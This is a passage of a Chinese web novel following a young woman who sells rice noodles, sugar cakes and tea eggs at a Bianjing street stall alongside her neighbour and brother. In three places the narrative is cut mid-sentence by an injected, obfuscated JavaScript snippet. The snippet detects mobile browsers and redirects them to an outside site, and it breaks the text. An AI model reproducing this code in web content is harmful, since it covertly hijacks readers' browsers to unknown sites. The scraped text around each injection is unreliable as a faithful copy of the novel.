以往赵大娘跟人一块卖炊饼，心里没这么不得劲儿，本着能卖一块是一块，卖不出去也无妨的心态，就算摊位在后面她也不急。但现在就好像别人抢了她东西似的，浑身上下没一处好受地方。 赵大娘满打满算就卖了六天，这就有人学了，她对姜然道，“幸好是没看见卖汤粉拌粉的。” 这两样东西姜然都会做，相比之下做粉更难一些。 米浆里面要放猪油，还有从其他作物中提取的淀粉。 当然这个时代也不叫这个，没有土豆红薯玉米，姜然是用面粉里提取的澄粉代替的。把面洗去面筋，然后水沉淀。当时给六姑娘是直接做的，而后把澄粉晒干磨粉，调米浆回用到。 加这个吃起来更弹，煮的时候也不易断。 再有价目表挡着，漏粉这一步就难倒许多人。想要做出一碗能吃的粉来，就更不容易了。倒是有拿米浆上锅蒸熟再切成粉条，但是口感软糯，做法亦不如漏粉简单。 糖饼不一样，赵大娘当街烙，客人买就能尝出来这是发面饼，里面是红糖馅儿。 较为简单。 其实赵大娘自己也知道，她从姜然随口一说的话中学的，回家自己就做出来了，能是多难做的吃食。 她现在泄气，这恐怕又要回到卖炊饼的时候了。 姜然道：“大娘你先别急。” 赵大娘能不急吗，“摊子还在我前头，全把我客人抢走了！” 姜然道：“你再抢回来不就行了，反正家里离得近，你要不回去试试把红糖馅儿换成别的。” 赵大娘像等母鸟捕猎回来的小鸟，“换啥？” 姜然脸上一闪而过为难之色，倘若赵大娘卖不下去，以后也没人给她占摊子，况且赵大娘这个时候还关心有没有人卖拌粉，先把当下事解决再说，“比方说黑芝麻……这不就和做包子一样吗，包子有许多种馅，糖饼也能。大娘你看糖饼馅儿是流沙的口感，你把别的也做成流沙口感。种类多了，别人学都赶不上，时间一长就知道你是第一个弄得了，肯定喜欢来你这儿买。” 姜然决定帮人帮到底，“你先烙几块糖饼，我顺道帮你卖。街上卖一样东西的摊贩不少，无妨的。然后快回家做新的，赶快回来。” 也就多告诉一个馅，锅盔她还藏着呢。若是赵大娘不卖，就算能放车也占不了摊位。 赵大娘感动的不成样子，可摊子要紧，别的得往后放放。 她烙了十块，赵大娘道：“我不知道啥时候能回来，卖不完你就吃了。” 说完抱了剩下的发面团子，匆匆忙忙回家去了。 姜然看赵大娘背影消失在人海中，深深吸了一口气做生意。每每煮完粉，又问客人要不要糖饼，要的包一块收钱，得知不用也不多说。 一个早上姜然卖了十六碗米粉，不过今儿卖拌粉多，还帮赵大娘卖了六块饼。 赵大娘这儿比昨日生意差，虽然两个摊子挨着，能一块儿卖，但街上喜欢吃糖饼的就那么多，从别处买了，在这里肯定少卖，就算做了新的口味，还会出现这样的情况。 姜然看看二人的摊子，心里有了个主意，但不知好不好用，得试试再说， 赵大娘是临近中午回来的，带回来了芝麻馅儿糖饼。 弄成流沙状的不容易，又得放糖，又得放油。但吃着是极好吃的，比纯红糖馅儿的香，烙熟之后味道就更浓郁了。 一做好，赵大娘就着急忙慌回来了。 姜然把上午卖糖饼的钱给了赵大娘，总共卖了八块，五十六钱。 赵大娘数了十六文给姜然，“你拿着，这是你卖的。” 十六文差不多是卖糖饼利润。 姜然没收，“大娘，饼是你做的，我就顺道卖。” 赵大娘这才收下钱，又给姜然一块芝麻糖饼，“你尝尝对不，是这个味儿不，不够吃和我说。” 姜然把饼掰开，黑金色的馅儿溢了出来，吸一口，又甜又香。 这个做的比姜然那次做的要甜，她不常吃糖，只觉得香甜好吃。 姜然吃了甜食，眼睛不自觉弯起，“大娘，这个好吃。” 赵大娘笑了，若是好卖，她觉得单一块糖饼作为回报是不成的。她带回来的面和芝麻馅，赶紧包上开烙。 芝麻的香气飘在空中，和其他的味道混，交织成了这条街独有的烟火气。 整条街都香气扑鼻，正午时分，下工的、下职的，有的回家吃饭，有不少人去了街边铺子的酒楼饭馆，还有许多会选择经济实惠吃食种类丰富的小摊。 来者是客，街边摊贩又开始忙碌起来，姜然这儿要煮粉、拌粉，有的客人还要加粉，人多的时候后边有两三个等着，好在米粉这东西做得还算快，客人能耐得下性子。 赵大娘今儿还吆喝起来，“卖糖饼，卖芝麻糖饼。” 她恨不得告诉所有人，她才是最先卖糖饼的。另一家卖糖饼的摊位比赵大娘靠前，这也是令赵大娘气愤的原因之一，学她做也就算了，你位置靠后一点，她也不说什么，非挤到前面去，把她生意也给抢了，这谁能受得了？ 以前赵大娘还觉得姜然吆喝没用，现在恨不得多几个人给她喊。 一个中午忙忙碌碌，风风火火。姜然看街上没什么人了，开始刷碗刷锅。 赵大娘则数出来几文钱，芝麻糖饼儿卖价八文，但芝麻便宜，比糖价低，这个利润能有一半。 赵大娘在心里算清楚后喊姜然道：“小然。” 姜然抬起头。 赵大娘：“中午我一共卖了十六块糖饼，有九块芝麻的，一张糖饼卖八文，本钱我没仔细算，大概一半。这个你拿着，方子是你告诉我的。” 怕姜然不收，赵大娘忙道：“你要是不收，就是看不起大娘。” 一块饼给一文钱，差不多是二成的利润。 赵大娘道：“以后我每日数着，卖出去一块芝麻饼，就给你一文钱。” 二成其实算不得多，毕竟一块饼也才得一文。可再多赵大娘就给不起了，她自己摆摊也辛苦，家里好几口人呢。 姜然粲然一笑把钱收下了，“那大娘多卖几块，也多分我一点。” 赵大娘高兴哎了一声，姜然刷了碗投桃报李给她煮了碗汤粉。 二人累了一上午，一边啃饼一边嗦粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078663|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谁都没说话，享受着这难得的自在惬意。下午人不太多，姜然这边卖完了，就收拾买肉回去。 回到家已是傍晚，姜然是先经过几位侯府姑娘们住的地方，才回三房。 她提肉闷头走，没见林氏，回到家后。姜松等人不在家，估计还在田里。 等天黑了三人才回来，云氏做饭，姜松和姜传力歇片刻。 姜然对姜松道：“哥，你能给我做一个木牌子，上面刻四个字，就写姜记米粉，成不？” 这是姜然想要的招牌，等做好后赵大娘也觉得好，可以照样做一个。 姜然才来此地几日，虽然只围着城东汴河大街附近转悠，但她注意到，像街边的铺子大多挂了“望子”，就是立根高于大门的杆子，在上面挂布旗。 简洁明了，比方说川饭馆望子上面就写个川饭二字。 卖酒的门帘上就写个酒字，有的酒坊还挂了酒葫芦，茶楼的望子写了茶字。 各家望子的颜色大小不一样，总之显而易见，很是醒目。 更大一点的酒楼饭馆有招牌，离得远看上一眼就能清楚地知道铺子卖什么。 但小摊贩确实没这些，毕竟就在街边，客人随便一张望，就知道摊子卖什么了。 一锅白胖胖的包子，或是煮得热气腾腾的面条，还有时时刻刻飘出来的香味，比望子更招人。 姜然想，若让姜松打一个招牌，上面刻上姜记米粉，她就也有“招牌”了。 弄这个倒不是为了让客人认得摊子卖什么，只需让人客人认得她这一家就行了。 姜记米粉，这条街独一份。 姜松答应得痛快，妹妹去卖东西每次回来还交二十文，他不是非和大房比，只是偶然听大伯母说，三等丫鬟月钱半两，而他妹妹一个月下来也有几百文的。 别的帮不上忙，这些小事，姜松没有不答应的。 姜然道：“种地要紧，这个不着急，哥，地什么时候能种完？” 昨儿说还有二十来亩，今儿呢？ 姜松道：“还得两天，大后天我就跟你去。” 姜然：“那也快了。” 等姜松来了，就能晚点回家了，然后也可以多一些种类花样。 吃过饭菜，姜然做了明儿用的油辣子，把肉和骨头放在阴凉地方，用罩子罩上。没别的事儿，她打算洗洗睡了，顺便还得记得，明儿要买醋，家里醋要用完了。 收拾好，姜然听见门被敲了敲。她过去开门，一看是六姑娘身边的素鱼。 素鱼问道：“今儿没见姜小娘子，明日小娘子可在庄子？” 侯府小姐来庄子小住，几人起得晚，等他们醒的时候，天已大亮，姜然都到城门脚下了。 今儿六姑娘还想吃米粉，但是姜然不在。后日早上就回了，明日还不在，那得等到何时吃去。 素鱼道：“我们小姐想让小娘子做些吃食，明日中午吃，还是原来的价钱，可方便？” 姜然道：“还真不太方便，明日我要出门，不过你可以转告你家小姐，我现在在都城汴河大街那边卖米粉，若是想吃，可以过去买来吃。” 15.第十五章 卖菜 素鱼听前面话的时候心里还失望，担心事办不成让小姐不高兴。可听到后面的话，又觉得峰回路转，比起吃一次，肯定是常吃小姐更高兴， 她打听清楚，“运河大街？哪个摊子呀？” 姜然不好意思道：“就一个小摊，不太显眼，位置较靠后面。不过摊子上有价目表，然后还有招牌，写了姜记米粉。” 素鱼笑道：“好。” 这下好了，小姐那里能交差，她自己日后也能去尝尝。二钱银子吃一顿，她舍不得，但摆摊子去卖，价钱应是便宜的。 姜然也挺高兴，那等侯府小姐们回去了，又能做几单生意了。 送走素鱼，姜然躺回床上睡下，等次日醒来，天依旧是黑的。 厨房有火光，她打着哈欠出去，见招牌已经刻好了，木头底，字迹工整，但因为是同色的，所以字又用炭描了。 木色底，黑字，离得远，姜记米粉这四个字也依旧明显，再配上价目表，她的小摊子更加像模像样了。 姜松父子俩依旧不在，只有云氏在厨房煮饭。姜然在旁边炒肉末，炖骨汤，弄好后都好好放在木桶里。 姜然依旧带着饭路上吃，一个煮鸡蛋，两个炊饼。 没有推车，就由姜松拎木桶送她到庄头，再由姜然提桶走过去。 走走停停，天慢慢变亮，这才到城门脚下。从前景门进城，再去汴河大街找到赵大娘，就开始刷碗摆摊，调米浆烧水了。 柴火现在也不能从家带，姜然托赵大娘帮忙买的。城内有不少卖柴火的，很是方便。 赵大娘今儿心情不错，她和姜然道：“昨儿晚上卖了不少芝麻糖饼，我把钱给你。” 十六块，就是三十二文。 糖饼七文一块，芝麻糖饼八文一块。这个不仅赚得多卖得还好，赵大娘能不高兴嘛。 姜然把钱收下了，“大娘，以后你先拿着，等十天半月再算吧。” 不然姜然这也得分账，她怕理不清。 赵大娘乐呵呵道：“你信得过大娘，那就这么办。” 姜然若信不过，就不会把推车放到赵大娘家里了。 赵大娘：“还是晚上生意好，一个晚上卖的就能顶上白天的。” 姜然道：“我家地马上要种完了，等我哥哥忙完，能一块过来，便能晚些回去了。” 但肯定不能待到子时那么晚，她走回去还要一个时辰，若太晚，第二天又出摊，根本没有休息的时间。 赵大娘想姜然过来这么久，姜家地竟然还没种完，姜家究竟有多少地呀？ 赵大娘问了一句，姜然道：“我家是租别人地种的。” 姜家一亩地都没有。 其实当庄户赚的钱不少，只不过姜家两个读书人，这么多年没读出个名堂来，钱还全搭进去了。还有姜老爷子和刘氏，只进不出的铁公鸡，云氏和姜传力愚孝，三房日子才难过的。 赵大娘家中也没地，她道：“摆摊卖东西不比种地赚得少，做生意，做生意。” 一亩地十几二十贯，更好的更贵，哪里有钱买呢。 赵大娘家住汴京，还是因为祖祖辈辈都住在这儿。 姜然点了点头，烧开水的功夫，把牌匾固定在价目表旁边，赵大娘不由道：“这东西小摊没用，咱们卖啥一目了然，用不着这个。” 价目表赵大娘见姜然有，但也没弄。她就卖糖饼，一块饼七文钱，多余弄这干啥？ 姜然道：“有了这个，别人再卖米粉也无妨，喜欢吃我做的，就只认我的牌子。” 不过这条街上没见卖米粉的，姜然属于是未雨绸缪了。 姜然一来做了三单生意，第三个就是那个吃爱辣的客人，一碗汤粉一勺醋三勺辣子，这是他常吃的。 已经吃了七天了。 他和姜然还算熟悉，挑粉嗦了两口，像是过足瘾得了慰藉才道：“昨儿晚上我在马行街吃了碗汤粉，那粉软绵绵的，不及你做得好吃。” 姜然恍然，不是没有做汤粉拌粉的，只不过没在这条街上。或许有了招牌，别人在吃不如她做的汤粉会和旁人说一句，“还是汴河大街那家姜记米粉好吃。” 而不是说汴河大街一家的米粉好吃，等日后卖米粉的多了，谁知道哪是她家。 客人说完这句就不说了，埋头吃粉。赵大娘也听见了，若有所思地看着姜然的摊子。 姜然没管赵大娘，只是觉得想把粉做弹也不是很难，早晚有一天能做出来。 姜松快点种地，她好往摊子多加些东西。 早上生意很好，一如既往，赵大娘这儿也不错。她两种糖饼，糖价贵，要想做得好吃，糖油一样都少不了。 如果糖放的少，那点糖馅全糊在面上，做不到流心的效果。若价钱压得再低，也赚不得钱。 新的摊子暂且影响不到赵大娘了，不过等人家把芝麻糖饼学会了之后，若便宜卖，对赵大娘的摊子还是有影响的。 赵大娘不管这些，也没想那么长远，现在能卖能赚钱就行了。 姜然早上很忙碌，人多，摊子多了个新物件，很惹人注目。 一些客人哪怕不识字，也会看看价目表和招牌，还会问上面都写了啥字，姜然一一回答。 煮粉、收钱、拌粉，姜然今儿拿猪油，看家里所剩不多，她下午得买肥肉回去靠猪油，今天还得买醋。 今天肯定攒不下来钱，自然不用交钱。 忙碌大半天，过了午时，街上人才少了，摊子也没什么客人了。 姜然心里算算，今天收了一百九十八文，还有赵大娘给的三十二文。 这钱和姜家无关，她不打算说，就想自己攒着。 肉末卖完，姜然把车推到赵大娘家，赵大娘还想卖一会儿，姜然自己过去的。把车安顿好，又去街上肉摊买了猪肉板油，醋也拎了一壶。 猪肉六十文一斤买一斤多，板油四十文一斤买三斤，醋最便宜，才五文一升。 今天是自把推车放到赵大娘家之后，姜然手里东西最重的一天，以往都是卖完回去的。 现在天一日比一日长，回到姜庄子的时候太阳刚落山。 猪油姜然不会靠，在后世什么都极其方便的年代，猪油她都是买现成的。 这只能等云氏了，她弄了些油辣子，然后去菜园子除草，先把明儿要用的油菜摘了洗干净。又看院子里的韭菜鲜嫩，割了一篮子。 靠猪油肯定有猪油渣，买一斤多瘦肉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082301|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜然想拿出来二两肉来吃。 韭菜、猪油渣、瘦肉，包饺子最合适不过。 猪油渣多香呀，能补贴油水，若饺子能剩下，明早上一热或者一煎，也是极其好吃的。 正好今天还买了醋，辣子和醋做蘸料，想想，姜然又从地里薅了几头蒜。 三房宅子院子的菜园虽小，但菜种类很多，每样菜基本上是家里够吃为主。 院子菜地没什么草，姜然又去别的菜园子除草。外面有九个菜园子，除草是力气活。 不过当她过去一看，园子只有菜苗，田埂上有晒蔫巴的草，估计是姜松抓时间除的，她哥真是勤劳又能干。 白菘苗也好多了，姜然又摘了一篮子，家里肯定是吃不完的，她提了给侯府小姐们送去。 上次问过，六小姐她们打算明早走。 晚上不怕晒，放一夜不成问题。姜家其他几房都抓空收菜往给侯府送去。 林氏看见姜然，不由讥讽几句，“不是出去摆摊做生意吗？怎么，还要送菜呀。” 姜然低头道：“做生意赚不得几个钱。” 林氏闻言心里痛快几分，“你当啥人都能做生意，从前你二哥也去过，就没做成。” 这些话姜然左耳朵进右耳朵出。 在林氏眼中，不是什么人都能当丫鬟，也不是什么人都能摆摊赚钱，总之，三房最好还和从前一样，老实巴交勤恳干活，日子过得比大房好是不成的。 瞒着是对的。 姜然跑去送菜，没见侯府几个姑娘，是素鱼过来的。也不像从前那般直接给二钱银子，而是按往常从姜家拿菜的价钱给了二十文钱，一篮子差不多四斤，五文一斤价钱并不低。 素鱼看菜很鲜亮，道：“挺不错的。” 姜然摘完了就给送了过来，只简单收拾了收拾，把小叶子、根上的泥土略微清理一番。 就显得菜干净漂亮。 如果以后菜多了，是不是可以像日后那种大的生鲜超市一样，把菜收拾干净。 侯府这样的人家，肯定会买。 姜然拿了二十文钱回去，等姜松他们回来，给姜松了十文，她当云氏面给的。 姜然：“今天买了猪油猪肉，赚的钱不剩了。” 姜松：“那这个？” 姜然道：“我从菜园子摘了篮白菘送过去，卖了二十文。” 三房从没卖过菜，姜松不知道能一次卖这么多。 云氏和姜传力神色有片刻愣怔，却是什么都没说。 姜松问姜然，“你那儿钱还够不？” 云氏姜传力在，姜然道：“不太够。” 姜松没要这十文，又拿了一百钱给姜然，“不够了跟我说。” 姜然心里纠结一番，把钱收下了。今儿花得多，她肉疼，等以后赚了她再交就是。 真好，这几日交的，她全拿回来了。买了这么多东西，她的金库毫发无损，比平日攒的还多了！ 把钱收好，姜然对云氏道：“阿娘，你把我买的板油靠成猪油，晚上包油渣饺子吃。” 云氏嗯了两声去厨房，姜传力抹了把脸，“我去清猪圈。” 也不知是姜然错觉，这俩人干活好像更卖力了。 16.第十六章 地种完了 但姜然对二人抱的期望不大，信用告急就是这样，哪怕稍微变好一点姜然也不会相信他俩能改好，对姜松她还考验了三次呢，云氏夫妇二人的考验只会更多。 云氏去厨房弄猪油，姜然抱篮子去门口摘韭菜。 把外面的老叶子给弄掉，这些叶子口感不好，姜松蹲在一旁摘菜，弄完的菜叶子收了喂鸡喂鸭。 等云氏弄好猪油，姜然韭菜也切好了，一段段翠绿的韭菜，配上切碎的猪油渣，二两多的生肉切成肉末，还有家里留的干虾皮仁儿。 不过这看起来还缺点东西，姜然又用带油的锅底炒了几个鸡蛋，把软蓬蓬的炒鸡蛋切碎混在馅儿里这才觉得差不多。 调好味开包，这个时代饺子还叫角子，但不管名称如何，形状如何，馅儿好吃才最要紧。 三房这么多年一直过得苦哈哈，这算是几人在家里吃过最好吃的一顿饭，又香又鲜，鸡蛋也是大块大块的。 姜然中午吃了糖饼和米粉，晚上吃得不算多，但姜松和姜传力一人吃了近四十个。云氏饭量小些，也吃了三十多个，一家人就姜然吃的最少，姜松道：“剩下的明早要煎了，给小然带着路上吃。” 云氏和姜传力没有意见，姜然也乐得接受。 吃过饭收拾好，三人又去田里，姜然带着吃饱的暖意上床休息。 因为这顿饺子，姜松三人干得比平时还卖力，估计剩下的明天下午就能种完。 已经到了四月中旬，夜深狗都不叫，月光撒在田间，庄子一片寂静。 回去的路上，姜松不禁道：“晚上的角子真好吃。” 云氏和姜传力依旧没说话，姜松并不指望他们说什么，只要能听就行，他道：“菜园子的菜不许拿给别人，家里的东西……鸡、鸭、猪也不许拿给别人，听见了没？” 姜传力嗯了一声，姜松对云氏道：“阿娘。” 云氏也嗯了一声，“我知道了。” 次日一早，不能说是早了，因为天还没亮，姜然起来的时候饺子已经煎好，连别的东西一块儿装进木桶里，还有装菜的篓子，装吃食调料的篮子。 先由姜松送她到庄头，然后才交到姜然手上。 姜松：“地下午就能种完，用我干啥不？” 姜然说道：“摘点油菜，给洗干净。” 其他的不用，多带钱，反正有锅，不够的东西现买现做来得及。 姜然：“等我一块儿吧，这么多天了，你种完歇歇吧。” 姜松并不累，比起劳累，他更怕的家里没钱，就算有钱也都给了别人，“不用。” 姜然没再劝，和姜松挥挥手，自己去汴京城。走走停停，走走歇歇，踏进城门，便觉得不累了，腿也不酸了，连胳膊都有劲儿了。 姜然先去街上找赵大娘，赵大娘瞧姜然，不由道，“今儿咋这高兴，家里有喜事儿？” 街上闹哄哄的，姜然脸上带笑，“家里地要种完了，我哥明儿就能跟我一块儿来。” 她把饺子拿出来，“大娘你尝尝。” 赵大娘就拿了一个，咬了一口不禁道：“这可真香真鲜呐。” 还用油煎过，哪怕凉了也好吃。 姜然笑着道：“喜欢就多吃几个。” 赵大娘哪儿好意思，她道：“你没吃饭呢吧，快吃。” 姜然又塞给赵大娘一个，赵大娘吃得满口留香，她问：“小然，你家里种的韭菜吗，种了多少啊？” 姜然用筷子捡了饺子吃，然后一边支摊子，她把木桶腾出来，好一会儿去接水。 姜然想了想，“有几畦。” 三房院子不大，但种的每样菜足够家里吃，现在又弄了新的菜园子，只多不少的。 赵大娘道：“你明儿能不能给我带两斤，我按市场价给你钱。” 虽说住在汴京方便，可汴京寸土寸金。外城一个单间那么贵，很多宅子都不带院子，有些还是好几家人挤一个大杂院，共用一口井，一道门。 就算带了院子也是极小的，费劲巴力收拾，却不及庄稼人能干，种出的菜总被虫子啃，也不知道种出来是给人吃的，还是给虫子吃的，要么就青黄不接。 赵大娘家中有个小院子，就一小块菜地。她不善农事，平时吃菜靠买的。 姜然一愣，道：“提钱做甚，明儿我给你带两斤过来。” 赵大娘不好意思，欲说什么，姜然道：“大娘，我去打水了。” 赵大娘想说也来不及了。 姜然拎桶过去，赵大娘的话倒让她有了主意。其实不必非把菜卖给侯府，卖给侯府，反而因为种了侯府的地，卖价并不高。 卖给谁不是卖呢？ 明儿姜松也跟着来，其实拌粉、煮粉姜松帮不上太大的忙，他过来只为了晚些回，来给姜然做伴儿。一个女子嘛，跟兄长一块安全些。 姜松可以卖菜，家里能添些进项。不然姜松想读书，不能光指望她呀。 姜然摆摊赚的钱不会全交，但菜园子大部分是姜松弄的，这个钱可以攒起来读书用。 思及此，姜然脚步加快，盼着今儿快些过完。 今日生意不错，姜然在这边已经摆了七天摊了，积攒了一些回头客。 有个爱吃辣的每日都来，还有几个喜欢吃汤粉拌粉的，两三天过来一次，很是面熟。 卖完东西，姜然收摊，在街上逛了逛， 来这么多天，她其实没逛过，只推车找摊位的时候看看左右。 卖什么的都有，活鸡活鸭，鱼肉菜蛋。 鸡鸭还叫着，还有各种小吃，姜然没多看，因为她手里没钱。 买了明日用的猪肉，两根骨头，姜松给的一百文和卖菜的二十文钱，姜然全买了鸡蛋。 姜家有鸡，但是刚接过来的鸡苗还太小，原来就两只，在她昨儿炒了四个鸡蛋，鸡蛋告罄了。 鸡蛋两文一枚，姜然讲价拿了六十个，又花五文买了便宜茶叶。 明天姜松来，可以多带东西，姜然打算晚上煮茶叶蛋，明天加在米粉里，鸡蛋两文一个，她可以卖四文，也能赚钱。 现在一天能卖四十多碗粉，姜然打算煮二十个茶叶蛋带来，如果卖得好，她可以再加别的东西。 姜然希望多多赚钱，然后多弄些菜地，庄子的空地还有好多呢，再多养些鸡鸭。以后常往汴京跑，那些东西都好卖。 她卖拌粉，哥哥可以卖别的。 鸡蛋装在篮子里，用稻草和麸子垫着，就算晃动也无事。等姜然到了家，姜松已经把她要的小油菜摘好洗干净了。 颜色深绿，放在背阴处晾着。 姜松见姜然买了鸡蛋，“小然，家里有鸡蛋。” 一日一两个蛋，除了给姜然吃，平日姜松他们不吃的。 姜然道：“不是家里吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085693|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我做好明日拿去街上卖，阿爹阿娘呢？” 茶叶蛋街上就有卖的，也是四文一个。 姜松：“清理猪圈去了，本来地里的活干完，祖父叫阿爹去给大房种地，但我没让。” 姜松让姜传力好好想清楚，日后到底是做儿子的给他养老，还是当侄子的给他养老。 家里还有许多活，如果去大房帮忙，家里的得姜松来。 总共二百八十亩耕地，三房要了六十亩。人最少却是种得最快的，可见往年吃了多少亏。 姜然忧心问了句，“会不会种不完影响收成？” 姜松：“不会，都种了十几年地了，大伯母他们只是懒，并非不会。孩子小，那也八九岁了，都能插秧。” 更何况现在大房没消息，姜松指的是姜杏，所以大房还指望这些地过日子呢，不敢不好好种。 姜松已经告诉姜传力了，明天他要出门，他不在也不许去大房帮忙。 他交代了活，修鸡圈，小鸡长大了不少，天也暖和了，不能一直在屋里养着。买来二十只鸡苗，一只公鸡剩下都是母鸡，再等几个月，就不用出去买蛋了。 天热，猪圈一天打扫两次，水槽得勤换水，还得沤肥翻地，除草捉虫，云氏二人在家就做这些。 活零碎，菜地又多，基本上没干别的时间。 姜然放心了，“是得好好收拾菜地，哥你知道吗，今天赵大娘跟我说，家里没院子，想让我给她带些韭菜，以后这些菜也能拿去卖。” 姜松重重点头，“好。” 现在家里菜只够姜然卖米粉，就先不卖菜，她让姜松去割韭菜，她回屋煮茶叶蛋去了。 鸡蛋煮熟，然后把蛋滚碎，再在水中放茶叶、卤料包、盐等物，开锅后泡一晚上就行，比煮鸡蛋有风味。 姜然煮了二十个，十五个实心蛋，五个煮的时间短些，溏心的。 街上卖茶叶蛋的不少，她想多卖，就得想法子。 第一天卖，姜然也不敢做太多，若卖不出去，只能她和姜松吃了。 次日。 天还黑着，二人比平日出门还早。 姜然身上什么都没有，就拿她早上要吃的饭，而姜松一手拎一个木桶，后背背篓子，里面有油菜调料，还有给赵大娘割的韭菜。 姜松胸前还背了篮子，就套脖子上，里面放了坛子茶叶蛋。 姜然想拿一样，姜松都不让。妹妹自己去是实在没办法，既然他在，自然不用妹妹拿了。 两个人一块，路黑也不必怕，月亮还挂在天上，月色如水，庄子在二人身后渐行渐远，随着天色慢慢变亮，二人慢慢看到汴京城的轮廓了。 进城的人很多，到了城内，人尤其多。姜松不太习惯，这和庄子不一样，和他来时也不一样。 他一直跟着姜然走。 姜然到了摊位，和赵大娘道：“大娘，这是我哥，叫姜松。” 姜松把给赵大娘带的韭菜拿过来，赵大娘看这么多不好意思，“谢谢哈。” 姜然：“小事，你吃着好吃我再给你带。” 赵大娘看这把韭菜可是忒好，叶子嫩，都能掐出水，“那可好了，以后买菜不发愁。” 姜然支摊子，姜松没干过这些，却眼里有活，看姜然把东西放好之后就要拎桶去打水。 姜然道：“我去打水，哥，你把茶叶蛋加在价目表上。” 17.夜市 东西越来越多，家里的小推车眼看不够用了。锅灶放在了车头，旁边就是高汤桶、清水桶，再旁边是装肉末、猪油等调料的盆子罐子，还有两摞碗，一桶筷子。 价目表在木桶等物的前面，前面是一寸高的车架，背后则稳稳地靠着木桶再旁边竖的是招牌，就立在在锅灶前面。 两个小板凳放在摊位后头，后头还有一个木桶是放用过的碗筷的。 现在又多了两个装鸡蛋的小坛子，姜然把它们放在了水桶旁边，推车摆得满满登登，但是同样也被价目表挡上了，所以得加上。 到时有客人来，她也问问客人要不要。 姜然拎上空桶，先去水井边刷干净，然后再拎水回来。 走了一半路，姜松跑过来把她手里的水桶接过，大跨步朝摊位走，他话里有些紧张，又带些许期待，“小然，我干什么？” 姜然道：“你把碗筷刷刷吧。” 她把自己从前的活分了一部分给姜松，她直接调米浆、烧水煮粉就行了。 多了个人，姜然的确轻省了许多。 她这儿水还没烧开，今天的第一个客人就来了，是摊子的老顾客，点菜很是熟练。 “来碗汤粉，少辣，醋多放点。” 姜然：“好勒，要不要加个茶叶蛋？四文一个。” 一枚鸡蛋两文，煮好的茶叶蛋卖四文，算不得贵。 但客人略有些犹豫，以往没吃过这家的，不过米粉好吃，他还是决定加一个，“加个。” 姜然又问：“有实心的，然后还有蛋黄比较软的，您想吃哪一种？” 客人没听太懂，“蛋黄比较软的是什么样的？” 姜然笑答道：“这两种做法不同，普通做法煮出来的蛋黄有点噎，蛋黄软的吃起来不噎。” 她自然不会傻傻的说溏心蛋就是煮的时间短了。 “那给我来个软的吧。” 姜然飞快道了声好，等水开，漏粉进去煮，快煮好的时候放油菜，之后盛汤盛肉末，舀辣子和醋，最后捞上一枚茶叶蛋。 茶叶蛋是单独放一个碗里的，一共二十个碗，平日就不够，今天估计够呛了。 不过今儿姜松在，用完能及时刷。 姜然想，若是茶叶蛋好卖，就再买二十个小碗。那么一个大碗，就装个茶叶蛋太浪费了，若果再有人加粉，一个人就得用三个碗。 姜松负责给客人端粉，客人坐在板凳上，端起粉吃，茶叶蛋只能放地上。 姜松觉得可以弄张桌子，不然东西太多，没放东西的地方实在不方便吃。 不过客人已经习惯了，没在意少张桌子的事，吃了几口粉，才把茶叶蛋给剥开，直接泡在粉里。 粉汤中蘸了些卤汤，但味道却不难吃，反而多了点荤腥香气，一口粉一口茶叶蛋，他咬的是靠蛋清那头，蛋清染了茶香和卤香，比煮鸡蛋多了丝脆爽。 客人点点头，这家茶叶蛋也好吃，有的也卖茶叶蛋，但就外头浅浅一层有味道，也不知是料放得不够多，还是泡得时间不够久。 再吃，他就咬到了蛋黄，软绵绵的，也浸到了卤汤的味道。客人眼睛悠地一亮，这真是一点都不噎呀。 他这碗汤粉还没吃完，又陆续有客人过来。 有的手里拿了鸡蛋，有的却没有，姜松诧异摊子生意好，但不止姜然这儿好，其他摊子前头也围了许多人。 姜然卖了几份，担忧的心就落下了，原还以为茶叶蛋不好卖，但是出乎意料。 一个早上，她卖出去二十三碗粉，茶叶蛋卖出去了十二个，她还做少了。 有个喜欢吃的，问能不能外带。姜然看所剩无多的茶叶蛋，摇了摇头，“今儿不多了，等明儿我多做些，你明天再过来吧。” 一枚茶叶蛋赚不到两文钱，毕竟还搭了卤料和茶包，不过二十个蛋算下来也能赚三十几文了。家里还剩四十个，够明日用的。 不过未雨绸缪，下午可以多买点鸡蛋。 忙过早上人就少了，有些摊贩推车回家，赵大娘揉揉酸疼的腰，拿了块糖饼吃。 姜然也开始吃早饭，她看姜松又去刷碗了，说道：“哥，不着急刷，先吃饭吧，不然没力气。” 姜然还打算看看夜市呢。 姜松把东西放下，两个人出门拿的饭食多，路上姜然吃了些，不过忙过一早晨还是饿，她啃了两口馒头垫肚子。 